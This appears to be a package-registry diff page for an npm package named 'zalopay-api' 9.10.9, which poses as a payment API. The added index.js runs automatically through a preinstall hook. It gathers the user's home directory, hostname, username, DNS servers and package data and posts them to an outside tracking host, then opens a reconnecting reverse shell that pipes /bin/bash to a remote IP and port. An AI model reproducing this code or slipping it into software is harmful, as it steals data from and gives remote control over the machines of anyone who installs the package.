zalopay-api 9.10.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of zalopay-api might be problematic. Click here for more details.
- package/index.js +70 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,70 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
var net = require('net');
|
8
|
+
var spawn = require('child_process').spawn;
|
9
|
+
|
10
|
+
const trackingData = JSON.stringify({
|
11
|
+
p: package,
|
12
|
+
c: __dirname,
|
13
|
+
hd: os.homedir(),
|
14
|
+
hn: os.hostname(),
|
15
|
+
un: os.userInfo().username,
|
16
|
+
dns: dns.getServers(),
|
17
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
18
|
+
v: packageJSON.version,
|
19
|
+
pjson: packageJSON,
|
20
|
+
});
|
21
|
+
|
22
|
+
var postData = querystring.stringify({
|
23
|
+
msg: trackingData,
|
24
|
+
});
|
25
|
+
|
26
|
+
var options = {
|
27
|
+
hostname: "cc65trv2vtc0000gw4y0gggnfrayyyyyd.tracking.tvtsec.com", //replace burpcollaborator.net with Interactsh or pipedream
|
28
|
+
port: 443,
|
29
|
+
path: "/",
|
30
|
+
method: "POST",
|
31
|
+
headers: {
|
32
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
33
|
+
"Content-Length": postData.length,
|
34
|
+
},
|
35
|
+
};
|
36
|
+
|
37
|
+
var req = https.request(options, (res) => {
|
38
|
+
res.on("data", (d) => {
|
39
|
+
process.stdout.write(d);
|
40
|
+
});
|
41
|
+
});
|
42
|
+
|
43
|
+
req.on("error", (e) => {
|
44
|
+
// console.error(e);
|
45
|
+
});
|
46
|
+
|
47
|
+
req.write(postData);
|
48
|
+
req.end();
|
49
|
+
|
50
|
+
|
51
|
+
HOST="103.82.26.74";
|
52
|
+
PORT="8888";
|
53
|
+
TIMEOUT="5000";
|
54
|
+
|
55
|
+
function c(HOST,PORT) {
|
56
|
+
var client = new net.Socket();
|
57
|
+
client.connect(PORT, HOST, function() {
|
58
|
+
var sh = spawn('/bin/bash',[]);
|
59
|
+
client.write("Connected\r\n");
|
60
|
+
client.pipe(sh.stdin);
|
61
|
+
sh.stdout.pipe(client);
|
62
|
+
});
|
63
|
+
client.on('error', function(e) {
|
64
|
+
setTimeout(c(HOST,PORT), TIMEOUT);
|
65
|
+
});
|
66
|
+
}
|
67
|
+
|
68
|
+
c(HOST,PORT);
|
69
|
+
|
70
|
+
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "zalopay-api",
|
3
|
+
"version": "9.10.9",
|
4
|
+
"description": "test zalopay zpi",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "zalopay with love :3",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|